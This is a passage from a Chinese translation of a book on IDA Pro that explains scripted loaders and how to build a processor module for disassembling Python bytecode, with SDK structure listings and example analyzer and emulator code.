li.readbytes(&magic, 4, 0);
li.readbytes(&size, 4, 0);
li.readbytes(&base, 4, 0);
// copy bytes to the database
loadfile(li, 12, base, size);
// create a segment
AddSeg(base, base + size, 0, 1, saRelPara, scPub);
// add the initial entry point
AddEntryPoint(base, base, "_start", 1);
return 1;
}


除了使用 IDC 函数代替 SDK 函数之外,simpleton 加载器的 IDC 版本和之前展示的 C++ 版本之间的相似性应该是相当明显的。加载器脚本通过将它们复制到 *<IDADIR>/loaders* 来安装。

Python 也可以用来开发加载器,并且由于它提供了对 IDA 内部 SDK 的更广泛访问,因此可以支持更健壮的开发。在 Python 中实现的 simpleton 加载器可能看起来像这样。

Verify the input file format

li - loader_input_t object. See IDA help file for more information

n - How many times we have been called

Returns:

0 - file unrecognized

Name of file type - if file is recognized

def accept_file(li, n):
if (n):
return 0
li.seek(0)
magic = struct.unpack("<I", li.read(4))[0]
if magic != 0x1DAB00C:
return 0
return "Python Simpleton Loader"

Load the file

li - loader_input_t object

neflags - refer to loader.hpp for valid flags

format - The file format selected nby the user

Returns:

1 - success

0 - failure

def load_file(li, neflags, format):
li.seek(0)
(magic, size, base) = struct.unpack("<III", li.read(12))

copy bytes to the database

li.file2base(12, base, base + size, 1)

create a segment

add_segm(0, base, base + size, ".text", "CODE")

add the initial entry point

add_entry(base, base, "_start", 1)
return 1;


脚本式加载器(以及插件)的一个最大的优点是,它们允许快速原型化那些最终可能使用 SDK 实现的模块。

* * *

^([134]) 查看 [`www.hexblog.com/?p=110`](http://www.hexblog.com/?p=110)。

# 摘要

一旦你了解了加载器如何融入 IDA 的模块化架构,你应该会发现创建加载器模块并不比创建插件模块更困难。加载器显然有它们自己的特定子集的 SDK,它们严重依赖于这些 SDK,其中大部分位于`loader.hpp`、`segment.hpp`、`entry.hpp`和`diskio.hpp`中。最后,由于加载器在处理器模块有机会分析新加载的代码之前就执行了,因此加载器不应该去处理任何反汇编任务,例如处理函数或反汇编指令。

在下一章中,我们将通过介绍处理器模块来完善我们对 IDA 模块的讨论,处理器模块是负责反汇编二进制文件整体格式的组件。

# 第十九章。IDA 处理器模块

![无标题图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854059.png.jpg)

可以使用 SDK 构建的 IDA 模块中最后一种类型是处理器模块,这无疑是 IDA 模块类型中最复杂的。处理器模块负责 IDA 内部发生的所有反汇编操作。除了将机器语言操作码转换为它们的汇编语言等效操作码之外,处理器模块还负责创建函数、生成交叉引用和跟踪栈指针的行为。正如 Hex-Rays 在插件和加载器方面所做的那样,它使得(从 IDA 5.7 版本开始)能够使用 IDA 的一种脚本语言来编写处理器模块成为可能。

需要开发处理器模块的明显情况是,为不存在处理器模块的二进制文件进行逆向工程。这类二进制文件可能代表嵌入式微控制器的固件映像或从手持设备中提取的可执行映像。处理器模块的一个不那么明显用途可能是反汇编嵌入在混淆可执行文件中的自定义虚拟机的指令。在这种情况下,现有的 IDA 处理器模块,如 x86 的`pc`模块,可以帮助你理解虚拟机本身;但它对反汇编虚拟机底层的字节码没有任何帮助。Rolf Rolles 在[OpenRCE.org](http://openrce.org)上发布的一篇论文中展示了处理器模块的这样一个应用。在他的论文附录 B 附录 B。IDC/SDK 交叉引用中,Rolf 还分享了他对创建 IDA 处理器模块的看法;这是关于这个主题的少数几个文档之一。

在 IDA 模块的世界里,插件有着无限多的潜在用途,并且在脚本之后,插件是 IDA 最常见的外部第三方插件。对于自定义加载模块的需求远小于插件的需求。这一点并不意外,因为二进制文件格式的数量(以及加载器的需求)通常远小于插件的潜在用途数量。一个自然的后果是,除了捐赠给 IDA 并随 IDA 一起分发的模块之外,公开发布的第三方加载模块相对较少。对于处理器模块的需求则更小,因为需要解码的指令集数量小于使用这些指令集的文件格式数量。同样,这也导致了除了与 IDA 及其 SDK 一起分发的少数几个之外,几乎没有第三方处理器模块。从 Hex-Rays 论坛帖子的话题来看,很明显人们正在开发处理器模块;这些模块只是没有向公众发布。

在本章中,我们希望对创建 IDA 处理器模块的主题进行进一步的探讨,并帮助揭开(至少在一定程度上)IDA 模块组件的最后面纱。作为一个运行示例,我们将开发一个用于反汇编 Python 字节码的处理器模块。由于处理器模块的组件可能很长,因此不可能包含模块每个部分的完整列表。Python 处理器模块的完整源代码可在本书的配套网站上找到。重要的是要理解,如果没有 Python 加载模块的好处,将无法完全自动地反汇编编译的*.pyc*文件。缺少这样的加载器,您需要以二进制模式加载*.pyc*文件,选择 Python 处理器模块,确定函数的可能起始点,然后使用“编辑”▸“代码”将显示的字节转换为 Python 指令。

# Python 字节码

Python^([136])是一种面向对象的解释型编程语言。Python 通常以类似于 Perl 的方式用于脚本任务。Python 源文件通常以*.py*扩展名保存。每当执行 Python 脚本时,Python 解释器将源代码编译成内部表示,称为*Python 字节码*。^([137])这种字节码最终由虚拟机解释。整个过程在某种程度上类似于 Java 源代码编译成 Java 字节码,最终由 Java 虚拟机执行。主要区别在于,Java 用户必须显式地将 Java 源代码编译成 Java 字节码,而 Python 源代码在用户选择执行 Python 脚本时隐式地转换为字节码。

为了避免从 Python 源代码到 Python 字节码的重复翻译,Python 解释器可能会将 Python 源文件的字节码表示保存在一个 *.pyc* 文件中,该文件可以直接在后续执行中加载,从而消除翻译 Python 源代码所花费的时间。用户通常不会明确创建 *.pyc* 文件。相反,Python 解释器会自动为任何被另一个 Python 源模块导入的 Python 源模块创建 *.pyc* 文件。理论上是这样的,模块往往会被频繁重用,如果模块的字节码形式可以轻松获得,那么可以节省时间。Python 字节码 (*.pyc*) 文件大致等同于 Java *.class* 文件。

由于 Python 解释器在存在相应的字节码文件时不需要源代码,因此可能可以将 Python 项目的某些部分作为字节码而不是源代码进行分发。在这种情况下,逆向工程字节码文件以了解其功能可能是有用的,就像我们可能对任何其他二进制软件分发做的那样。这正是我们示例 Python 处理器模块的预期用途——提供一个可以帮助逆向工程 Python 字节码的工具。

* * *

^([135]) 请参阅 [`www.openrce.org/articles/full_view/28`](http://www.openrce.org/articles/full_view/28) 中的“使用 IDA 处理器模块击败 HyperUnpackMe2”

^([136]) 请参阅 [`www.python.org/`](http://www.python.org/)

^([137]) 请参阅 [`docs.python.org/library/dis.html#bytecodes`](http://docs.python.org/library/dis.html#bytecodes) 以获取 Python 字节码指令及其含义的完整列表。还可以在 Python 源代码分发中的 *opcode.h* 中找到字节码助记符与其等效操作码的映射。

# Python 解释器

在我们开发 Python 处理器模块时,对 Python 解释器的一些背景知识可能是有用的。Python 解释器实现了一个基于栈的虚拟机,能够执行 Python 字节码。当我们说“基于栈”时,我们的意思是虚拟机除了指令指针和栈指针之外没有其他寄存器。Python 字节码指令中的大多数通过读取、写入或检查栈内容以某种方式操作栈。例如,`BINARY_ADD` 字节码指令从解释器的栈中移除两个项目,将这两个项目相加,并将单个结果值放回解释器栈的顶部。

在指令集布局方面,Python 字节码相对容易理解。所有 Python 指令都由一个单字节操作码和零个或两个操作数字节组成。本章中提供的处理器示例不需要你对 Python 字节码有任何先前的了解。在需要特定知识的一些情况下,我们会花时间充分解释字节码。本章的主要目标是提供一个对 IDA 处理器模块的基本理解以及创建它们时需要考虑的一些因素。Python 字节码仅作为实现这一目标的手段。

# 使用 SDK 编写处理器模块

在不包含关于处理器模块的标准免责声明的情况下开始讨论创建处理器模块是不恰当的。除了阅读 SDK 包含的包含文件和 SDK 中包含的处理器模块的源代码外,你会发现 SDK 的`readme.txt`文件是唯一其他可以提供有关如何创建处理器模块信息的文件,其中在“处理器模块描述”标题下有一些注释。

值得明确的是,虽然 README 文件引用了处理器模块中的特定文件名,好像这些文件名是固定不变的,但实际上并非如此。然而,它们往往是在包含的 SDK 示例中使用的文件名,并且它们也是那些示例中包含的构建脚本中引用的文件名。请随意使用你喜欢的任何文件名来创建你的处理器模块,只要相应地更新你的构建脚本即可。

指向特定处理器文件的一般意图是传达一个想法,即处理器模块由三个逻辑组件组成:一个*分析器*、一个*指令模拟器*和一个*输出生成器*。随着我们创建 Python 处理器模块的过程,我们将介绍每个功能组件的作用。

在`<SDKDIR>/module`中可以找到几个示例处理器。其中,阅读起来相对简单的一个处理器(如果存在的话)是 z8 处理器。其他处理器模块的复杂度因指令集的不同以及是否承担任何加载责任而有所不同。如果你正在考虑编写自己的处理器模块,一个入门的方法(在 README 文件中由 Ilfak 推荐)是复制一个现有的处理器模块,并修改它以满足你的需求。在这种情况下,你将希望找到与你的模块预想的逻辑结构(不一定是处理器架构)最相似的处理器模块。

## `processor_t`结构

与插件和加载器一样,处理器模块只导出一件事情。对于处理器来说,这一件事就是一个名为`LPH`的`processor_t`结构体。如果您包含`*<SDKDIR>/module/idaidp.hpp*`,这个结构体会自动导出,它反过来又包含了处理器模块通常需要的许多其他 SDK 头文件。编写处理器模块之所以如此具有挑战性,其中一个原因就是`processor_t`结构体包含 56 个字段需要初始化,其中 26 个字段是函数指针,而 1 个字段是指向一个或多个结构指针数组的指针,每个指针指向一个不同的类型结构(`asm_t`),该结构包含 59 个字段需要初始化。听起来很简单,对吧?构建处理器模块的一个主要不便之处在于初始化所有必需的静态数据,这个过程可能会因为每个数据结构中的字段数量众多而容易出错。这也是为什么 Ilfak 建议使用现有的处理器作为您开发任何新处理器的基础的原因之一。

由于这些数据结构的复杂性,我们不会尝试列举每个可能的字段及其用途。相反,我们将突出显示主要字段,并请您参考`*idp.hpp*`以获取有关这些和其他结构中字段的更多详细信息。我们覆盖各种`processor_t`字段的顺序与这些字段在`processor_t`中声明的顺序没有任何相似之处。

## LPH 结构的基本初始化

在深入探讨处理器模块的行为方面之前,有一些静态数据需求需要您注意处理。当您构建一个反汇编模块时,您需要创建一个列表,列出您打算为您的目标处理器识别的所有汇编语言助记符。这个列表以`instruc_t`(在`*idp.hpp*`中定义)结构体的数组形式创建,通常放置在一个名为`*ins.cpp*`的文件中。正如这里所示,`instruc_t`是一个简单的结构体,其目的是双重的。首先,它提供了一个用于指令助记符的表格查找。其次,它描述了每个指令的一些基本特性。

struct instruc_t {
const char *name; //instruction mnemonic
ulong feature; //bitwise OR of CF_xxx flags defined in idp.hpp
};


`feature`字段用于指示行为,例如指令是否读取或写入其任何操作数,以及指令执行后执行如何继续(默认、跳转、调用)。`CF_`*`xxx`*中的`CF`代表*规范特性*。`feature`字段基本上驱动了控制流和交叉引用的概念。这里描述了一些更有趣的规范特性标志:

| **`CF_STOP`** 指令不会将控制权传递给后续指令。示例可能包括绝对跳转或函数返回指令。 |
| --- |
| **`CF_CHGn`** 指令修改操作数`n`,其中`n`的范围是 1..6。 |
| **`CF_USEn`** 指令使用操作数 `n`,其中 `n` 在 1..6 的范围内,并且 *使用* 意味着“读取”或“引用”(但不修改;参见 `CF_CHGn`)一个内存位置。 |
| **`CF_CALL`** 指令调用一个函数。 |

指令无需按任何特定顺序列出。特别是,没有必要根据它们关联的二元操作码对指令进行排序,也没有要求此数组中的指令与有效的二元操作码之间有一对一对应关系。我们示例指令数组的开头和结尾几行如下所示:

instruc_t Instructions[] = {
{"STOP_CODE", CF_STOP}, /* 0 /
{"POP_TOP", 0}, /
1 /
{"ROT_TWO", 0}, /
2 /
{"ROT_THREE", 0}, /
3 /
{"DUP_TOP", 0}, /
4 /
{"ROT_FOUR", 0}, /
5 /
{NULL, 0}, /
6 /
...
{"CALL_FUNCTION_VAR_KW", CF_CALL}, /
142 /
{"SETUP_WITH", 0}, /
143 /
{"EXTENDED_ARG", 0}, /
145 /
{"SET_ADD", 0}, /
146 /
{"MAP_ADD", 0} /
147 */
};


在我们的示例中,由于 Python 字节码非常简单,我们将保持指令和字节码之间的一对一对应关系。请注意,为了做到这一点,某些指令记录必须充当填充,当操作码未定义时,例如本例中的操作码 6 ![httpatomoreillycomsourcenostarchimages854061.png](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png)。

通常在 *ins.hpp* 中定义一组枚举常量,以提供从整数到指令的映射,如下所示:

enum python_opcodes {
STOP_CODE = 0,
POP_TOP = 1, //remove top item on stack
ROT_TWO = 2, //exchange top two items on stack
ROT_THREE = 3, //move top item below the 2nd and 3rd items
DUP_TOP = 4, //duplicate the top item on the stack
ROT_FOUR = 5, //move top item below the 2nd, 3rd, and 4th items
NOP = 9, //no operation
...
CALL_FUNCTION_VAR_KW = 142,
SETUP_WITH = 143,
EXTENDED_ARG = 145,
SET_ADD = 146,
MAP_ADD = 147,
PYTHON_LAST = 148
};


在这里,我们选择明确为每个枚举分配一个值,既是为了清晰起见,也因为我们的序列中存在间隙,因为我们选择使用实际的 Python 操作码作为我们的指令索引。还添加了一个额外的常量 (`PYTHON_LAST`),以便于引用列表的末尾。有了指令列表及其关联的整数映射,我们就有了足够的信息来初始化 `LPH`(我们的全局 `processor_t`)的三个字段。这三个字段在此处描述:

int instruc_start; // integer code of the first instruction
int instruc_end; // integer code of the last instruction + 1
instruc_t *instruc; // array of instructions


我们必须分别用 `STOP_CODE`、`PYTHON_LAST` 和 `Instructions` 初始化这些字段。这些字段共同使处理器模块能够快速查找反汇编中任何指令的助记符。

对于大多数处理器模块,我们还需要定义一组寄存器名称及其关联的枚举常量集,以便引用它们。如果我们正在编写 x86 处理器模块,我们可能从以下内容开始,为了简洁起见,我们限制自己只使用基本的 x86 寄存器集:

static char *RegNames[] = {
"eax", "ebx", "ecx", "edx", "edi", "esi", "ebp", "esp",
"ax", "bx", "cx", "dx", "di", "si", "bp", "sp",
"al", "ah", "bl", "bh", "cl", "ch", "dl", "dh",
"cs", "ds", "es", "fs", "gs"
};


`RegNames` 数组通常在名为 *reg.cpp* 的文件中声明。此文件也是示例处理器模块声明 `LPH` 的地方,这使得 `RegNames` 可以静态声明。相关的寄存器枚举将在头文件中声明,通常以处理器命名(例如,在这种情况下可能是 *x86.hpp*),如下所示:

enum x86_regs {
r_eax, r_ebx, r_ecx, r_edx, r_edi, r_esi, r_ebp, r_esp,
r_ax, r_bx, r_cx, r_dx, r_di, r_si, r_bp, r_sp,
r_al, r_ah, r_bl, r_bh, r_cl, r_ch, r_dl, r_dh,
r_cs, r_ds, r_es, r_fs, r_gs
};


确保您在寄存器名称数组和其关联的常量集之间保持适当的对应关系。寄存器名称数组和枚举寄存器常量一起允许处理器模块在格式化指令操作数时快速查找寄存器名称。这两个数据声明用于初始化 `LPH` 中的额外字段:

int regsNum; // total number of registers
char **regNames; // array of register names


这两个字段通常分别用`qnumber(RegNames)`和`RegNames`初始化,其中`qnumber`是一个宏,定义在`*pro.h*`中,用于计算静态分配数组中的元素数量。

无论实际的处理器是否使用段寄存器,IDA 处理器模块总是需要指定关于段寄存器的信息。由于 x86 使用段寄存器,前面的示例配置起来相当直接。段寄存器在`processor_t`的以下字段中进行配置:

// Segment register information (use virtual CS and DS registers if
// your processor doesn't have segment registers):
int regFirstSreg; // number of first segment register
int regLastSreg; // number of last segment register
int segreg_size; // size of a segment register in bytes

// If your processor does not use segment registers, You should define
// 2 virtual segment registers for CS and DS.
// Let's call them rVcs and rVds.
int regCodeSreg; // number of CS register
int regDataSreg; // number of DS register


为了初始化我们的假设 x86 处理器模块,前五个字段将按顺序初始化如下:

r_cs, r_gs, 2, r_cs, r_ds


注意以下关于段寄存器的注释,![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png) 和 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png),它们涉及到段寄存器。IDA 总是希望获取关于段寄存器的信息,即使你的处理器并不使用它们。回到我们的 Python 示例,在设置寄存器映射时,我们不需要做太多工作,因为 Python 解释器是一种基于栈的架构,没有寄存器,但我们确实需要处理段寄存器的问题。通常的做法是为最小的一组段寄存器(代码和数据)创建名称和枚举值。基本上,我们只是在伪造段寄存器的存在,原因仅仅是因为 IDA 期望它们。然而,尽管 IDA 期望它们,我们并没有义务使用它们,所以我们只是在我们的处理器模块中忽略它们。对于我们的 Python 处理器,我们做以下操作:

//in reg.cpp
static char *RegNames = { "cs", "ds" };

//in python.hpp
enum py_registers { rVcs, rVds };


在这些声明就绪后,我们可以使用以下值序列返回并初始化`LPH`结构中的适当字段:

rVcs, rVds, 0, rVcs, rVds


在继续实现 Python 处理器的任何行为之前,我们花了一些时间来处理一些关于`LPH`结构初始化的剩余低垂果实。这里描述了`processor_t`的前五个字段:

int version; // should be IDP_INTERFACE_VERSION
int id; // IDP id, a PLFM_xxx value or self assigned > 0x8000
ulong flag; // Processor features, bitwise OR of PR_xxx values
int cnbits; // Number of bits in a byte for code segments (usually 8)
int dnbits; // Number of bits in a byte for data segments (usually 8)


`version`字段应该很熟悉,因为它也要求在插件和加载模块中使用。对于自定义处理器模块,`id`字段应该是一个大于 0x8000 的自定义值。`flag`字段描述了处理器模块的各种特性,作为在`*idp.hpp*`中定义的`PR_`*`xxx`*标志的组合。对于 Python 处理器,我们选择指定仅`PR_RNAMESOK`,这允许将寄存器名称用作位置名称(由于我们没有寄存器,这是可以接受的),以及`PRN_DEC`,它将默认数字显示格式设置为十进制。剩余的两个字段`cnbits`和`dnbits`分别设置为 8。

## 分析器

在这个阶段,我们已经填充了足够的`LPH`结构,可以开始考虑处理器模块的第一个部分,即执行器——分析器。在示例处理器模块中,分析器通常通过一个名为`ana`(你可以取任何你喜欢的名字)的函数在名为*ana.cpp*的文件中实现。这个函数的原型非常简单,如下所示:

int idaapi ana(void); //analyze one instruction and return the instruction length


你必须使用指向你的分析器函数的指针初始化`LPH`对象的`u_ana`成员。分析器的任务是分析一条指令,将有关指令的信息填充到全局变量`cmd`中,并返回指令的长度。分析器不应对数据库进行任何更改。

`cmd`变量是一个`insn_t`对象的全局实例。`insn_t`类在*ua.hpp*中定义,用于描述数据库中的单条指令。其声明如下所示:

class insn_t {
public:
ea_t cs; // Current segment base paragraph. Set by kernel
ea_t ip; // Virtual address of instruction (within segment). Set by kernel
ea_t ea; // Linear address of the instruction. Set by kernel
uint16
itype; // instruction enum value (not opcode!). Proc sets this in ana
uint16 size; // Size of instruction in bytes. Proc sets this in ana
union { // processor dependent field. Proc may set this
uint16 auxpref;
struct {
uchar low;
uchar high;
} auxpref_chars;
};
char segpref; // processor dependent field. Proc may set this
char insnpref; // processor dependent field. Proc may set this
op_t Operands[6]; // instruction operand info. Proc sets this in ana
char flags; // instruction flags. Proc may set this
};


在调用你的分析器函数之前,IDA 内核(IDA 的核心)将`cmd`对象的前三个字段填充为指令的分段和线性地址。之后,填充其余部分就是分析器的任务。分析器需要填充的基本字段是`itype` ![httpatomoreillycomsourcenostarchimages854061.png],`size` ![httpatomoreillycomsourcenostarchimages854063.png],和`Operands` ![httpatomoreillycomsourcenostarchimages854093.png]。`itype`字段必须设置为之前讨论过的枚举指令类型值之一。`size`字段必须设置为指令的总大小(以字节为单位),并应作为指令的返回值使用。如果指令无法解析,分析器应返回大小为零。最后,一条指令可能有最多六个操作数,分析器应填写指令使用的每个操作数的信息。

分析器函数通常使用 switch 语句实现。分析器的第一步通常是请求一个或多个(取决于处理器)字节从指令流中,并使用这些字节作为 switch 测试变量。SDK 为分析器提供了特殊函数,用于从指令流中检索字节。这些函数如下所示:

//read one byte from current instruction location
uchar ua_next_byte(void);
//read two bytes from current instruction location
ushort ua_next_word(void);
//read four bytes from current instruction location
ulong ua_next_long(void);
//read eight bytes from current instruction location
ulonglong ua_next_qword(void);


`当前指令位置`最初与*cmd.ip*中包含的值相同。对`ua_next_`*`xxx`*函数之一的每次调用都会产生副作用,根据被调用的`ua_next_`*`xxx`*函数请求的字节数(1、2、4 或 8)增加`cmd.size`。检索到的字节必须解码足够,以便将适当的指令类型枚举值分配到`itype`字段,确定指令所需的操作数数量和类型,然后确定指令的总长度。随着解码过程的进行,可能需要额外的指令字节,直到从指令流中检索到完整的指令。只要您使用`ua_next_`*`xxx`*函数,`cmd.size`将自动为您更新,从而消除跟踪给定指令请求的字节数的需要。从高层次的角度来看,分析器在某种程度上模仿了真实 CPU 中使用的指令获取和指令解码阶段。与现实生活相呼应,对于具有固定指令大小的处理器,指令解码通常更容易,如 RISC 风格的架构通常那样,而对于使用可变长度指令的处理器,如 x86,指令解码通常更复杂。

使用检索到的字节,分析器必须为指令使用的每个操作数在`cmd.Operands`数组中初始化一个元素。指令操作数使用`op_t`类的实例表示,该类在*ua.hpp*中定义,并在下面进行总结:

class op_t {
public:
char n; // number of operand (0,1,2). Kernel sets this do not change!
optype_t type; // type of operand. Set in ana, See ua.hpp for values

// offset of operand relative to instruction start
char offb; //Proc sets this in ana, set to 0 if unknown
// offset to second part of operand (if present) relative to instruction start

char offo; //Proc sets this in ana, set to 0 if unknown
uchar flags; //Proc sets this in ana. See ua.hpp for possible values

char dtyp; // Specifies operand datatype. Set in ana. See ua.hpp for values

// The following unions keep other information about the operand
union {
uint16 reg; // number of register for type o_reg
uint16 phrase; // number of register phrase for types o_phrase and o_displ
// define numbers of phrases as you like
};

union { // value of operand for type o_imm or
uval_t value; // outer displacement (o_displ+OF_OUTER_DISP)
struct { // Convenience access to halves of value
uint16 low;
uint16 high;
} value_shorts;
};

union { // virtual address pointed or used by the operand
ea_t addr; // for types (o_mem,o_displ,o_far,o_near)
struct { // Convenience access to halves of addr
uint16 low;
uint16 high;
} addr_shorts;
};

//Processor dependent fields, use them as you like. Set in ana
union {
ea_t specval;
struct {
uint16 low;
uint16 high;
} specval_shorts;
};
char specflag1, specflag2, specflag3, specflag4;
};


配置操作数从将操作数的`type`字段设置为*ua.hpp*中定义的枚举`optype_t`常量之一开始。操作数的`type`描述了操作数数据的源或目的地。换句话说,`type`字段大致描述了用于访问操作数的寻址模式。操作数类型的示例包括`o_reg`,表示操作数是寄存器的内容;`o_mem`,表示操作数是编译时已知的内存地址;以及`o_imm`,表示操作数是包含在指令中的立即数据。

`dtype`字段指定操作数数据的大小。此字段应设置为*ua.hpp*中指定的`dt_`*`xxx`*值之一。示例值包括`dt_byte`用于 8 位数据,`dt_word`用于 16 位数据,以及`dt_dword`用于 32 位数据。

以下 x86 指令演示了一些主要操作数数据类型与常用操作数的对应关系:

mov eax, 0x31337 ; o_reg(dt_dword), o_imm(dt_dword)
push word ptr [ebp - 12] ; o_displ(dt_word)
mov [0x08049130], bl ; o_mem(dt_byte), o_reg(dt_byte)
movzx eax, ax ; o_reg(dt_dword), o_reg(dt_word)
ret ; o_void(dt_void)


在`op_t`结构体内部,各种联合的使用方式由`type`字段的值决定。例如,当操作数类型为`o_imm`时,立即数据值应存储到`value`字段中,而当操作数类型为`o_reg`时,应将寄存器号(来自寄存器常数的枚举集合)存储到`reg`字段中。关于如何存储指令中每一部分的详细信息包含在`ua.hpp`中。

注意,`op_t`结构体内的任何字段都不描述操作数是作为数据源还是目标使用。实际上,这不是分析器的职责。在指令名称数组中指定的规范标志在处理器的一个后续阶段被用来确定操作数的确切使用方式。

在`insn_t`类和`op_t`类内部,有几个字段被描述为*处理器相关*,这意味着你可以根据需要使用这些字段。这些字段通常用于存储不适合放入这些类中其他字段的信息。处理器相关的字段也是将信息传递到处理器后续阶段的便捷机制,这样那些阶段就不需要重复分析器的工作。

在涵盖了分析器的所有基本规则之后,我们可以尝试为 Python 字节码编写一个最小化的分析器。Python 字节码非常直接。Python 操作码是 1 字节长。小于 90 的操作码没有操作数,而大于或等于 90 的操作码每个都有 2 字节的操作数。我们的基本分析器如下所示:

define HAVE_ARGUMENT 90

int idaapi py_ana(void) {
cmd.itype = ua_next_byte(); //opcodes ARE itypes for us (updates cmd.size)
if (cmd.itype >= PYTHON_LAST) return 0; //invalid instruction
if (Instructions[cmd.itype].name == NULL) return 0; //invalid instruction
if (cmd.itype < HAVE_ARGUMENT) { //no operands
cmd.Op1.type = o_void; //Op1 is a macro for Operand[0] (see ua.hpp)
cmd.Op1.dtyp = dt_void;
}
else { //instruction must have two bytes worth of operand data
if (flags[cmd.itype] & (HAS_JREL | HAS_JABS)) {
cmd.Op1.type = o_near; //operand refers to a code location
}
else {
cmd.Op1.type = o_mem; //operand refers to memory (sort of)
}
cmd.Op1.offb = 1; //operand offset is 1 byte into instruction
cmd.Op1.dtyp = dt_dword; //No sizes in python so we just pick something

  cmd.Op1.value = ua_next_word(); //fetch the operand word (updates cmd.size)
  cmd.auxpref = flags[cmd.itype]; //save flags for later stages

  if (flags[cmd.itype] & HAS_JREL) {
     //compute relative jump target
     cmd.Op1.addr = cmd.ea + cmd.size + cmd.Op1.value;
  }
  else if (flags[cmd.itype] & HAS_JABS) {
     cmd.Op1.addr = cmd.Op1.value;  //save absolute address
  }
  else if (flags[cmd.itype] & HAS_CALL) {
     //target of call is on the stack in Python, the operand indicates
     //how many arguments are on the stack, save these for later stages
     cmd.Op1.specflag1 = cmd.Op1.value & 0xFF;         //positional parms
     cmd.Op1.specflag2 = (cmd.Op1.value >> 8) & 0xFF;  //keyword parms
  }

}
return cmd.size;
}


对于 Python 处理器模块,我们选择创建一个额外的标志数组,每个指令一个标志,用于补充(在某些情况下复制)每个指令的规范特性。`HAS_JREL`、`HAS_JABS`和`HAS_CALL`标志被定义用于我们的`flags`数组。我们使用这些标志来指示指令操作数是否代表相对跳转偏移、绝对跳转目标或函数调用栈的描述。如果不深入 Python 解释器的操作,解释分析阶段的每个细节都很困难,所以我们在这里总结分析器,并通过前述代码中的注释来记住,分析器的任务是解析单个指令:

1.  分析器从指令流中获取下一个指令字节,并确定该字节是否是有效的 Python 操作码。

1.  如果指令没有操作数,`cmd.Operand[0]`(`cmd.Op1`)被初始化为`o_void`。

1.  如果命令有操作数,`cmd.Operand[0]`会被初始化以反映操作数的类型。一些处理器特定的字段被用来将信息传递到处理器模块的后续阶段。

1.  指令的长度被返回给调用者。

更复杂的指令集几乎肯定需要更复杂的分析阶段。然而,任何分析器的行为可以概括如下:

1.  从指令流中读取足够的字节以确定指令是否有效,并将指令映射到枚举的指令类型常量之一,然后将其保存到`cmd.itype`中。此操作通常通过一个大的 switch 语句来分类指令操作码。

1.  读取任何额外的字节,以正确确定指令所需的操作数数量、这些操作数使用的寻址模式以及每个操作数的各个组成部分(寄存器和立即数据)。这些数据用于填充`cmd.Operands`数组中的元素。此操作可以分解为一个单独的操作数解码函数。

1.  返回指令及其操作数的总长度。

严格来说,一旦指令被分解,IDA 就有足够的信息来生成该指令的汇编语言表示。为了生成交叉引用、方便递归下降过程以及监控程序栈指针的行为,IDA 必须获取关于每个指令行为的额外细节。这是 IDA 处理器模块的模拟阶段的工作。

## 模拟器

而分析阶段关注的是单个指令的结构,模拟阶段关注的是单个指令的行为。在 IDA 示例处理器模块中,模拟器通常通过一个名为`emu`(你可以取任何你喜欢的名字)的函数在名为`emu.cpp`的文件中实现。与`ana`函数一样,此函数的原型非常简单,如下所示:

int idaapi emu(void); //emulate one instruction


根据`idp.hpp`,`emu`函数应该返回被模拟指令的长度;然而,大多数示例模拟器似乎返回值 1。

你必须使用指向你的模拟器函数的指针初始化`LPH`对象的`u_emu`成员。在调用`emu`之前,`cmd`已经被分析器初始化。模拟器的主要目的是根据`cmd`描述的指令行为创建代码和数据交叉引用。模拟器也是跟踪栈指针变化并基于观察到的对函数栈帧的访问创建局部变量的地方。与分析器不同,模拟器可以更改数据库。

通过检查指令的规范特征以及指令操作数的`type`字段来确定指令是否导致创建任何交叉引用,通常是通过检查指令的规范特征以及指令操作数的`type`字段来完成的。以下是一个具有最多两个操作数的指令集的非常基本的模拟器函数示例,这代表了许多 SDK 示例:

void TouchArg(op_t &op, int isRead); //Processor author writes this

int idaapi emu() {
ulong feature = cmd.get_canon_feature(); //get the instruction's CF_xxx flags

if (feature & CF_USE1) TouchArg(cmd.Op1, 1);
if (feature & CF_USE2) TouchArg(cmd.Op2, 1);

if (feature & CF_CHG1) TouchArg(cmd.Op1, 0);
if (feature & CF_CHG2) TouchArg(cmd.Op2, 0);

if ((feature & CF_STOP) == 0) { //instruction doesn't stop
//add code cross ref to next sequential instruction
ua_add_cref(0, cmd.ea + cmd.size, fl_F);
}
return 1;
}


对于每个指令操作数,前一个函数会检查指令的规范特征以确定是否应生成任何类型的交叉引用。在这个例子中,一个名为 `TouchArg` 的函数检查单个操作数以确定应生成哪种类型的交叉引用,并处理生成正确交叉引用的细节。当从仿真器生成交叉引用时,应使用在 *ua.hpp* 中声明的交叉引用创建函数,而不是在 *xref.hpp* 中。以下粗略指南可用于确定要生成哪种类型的交叉引用。

+   如果操作数类型是 `o_imm`,操作是读取(`isRead` 为真),并且操作数值是一个指针,则创建一个偏移量引用。通过调用 `isOff` 函数(例如,`isOff(uFlag, op.n)`)来确定操作数是否为指针。使用 `ua_add_off_drefs`(例如,`ua_add_off_drefs(op, dr_O);`)添加偏移量交叉引用。

+   如果操作数类型是 `o_displ` 并且操作数值是一个指针,则创建一个适当的读取或写入交叉引用类型的偏移量交叉引用,例如,`ua_add_off_drefs(op, isRead ? dr_R : dr_W);`。

+   如果操作数类型是 `o_mem`,则使用 `ua_add_dref`(例如,`ua_add_dref(op.offb, op.addr, isRead ? dr_R : dr_W);`)添加适当的数据交叉引用,类型为读取或写入交叉引用。

+   如果操作数类型是 `o_near`,则使用 `ua_add_cref`(例如,`ua_add_cref(op.offb, op.addr, feature & CF_CALL ? fl_CN : fl_JN);`)添加适当的代码交叉引用,类型为跳转或调用交叉引用。

仿真器还负责报告栈指针寄存器的行为。仿真器应使用 `add_auto_stkpnt2` 函数通知 IDA 指令已更改栈指针的值。`add_auto_stkpnt2` 的原型如下所示:

bool add_auto_stkpnt2(func_t *pfn, ea_t ea, sval_t delta);


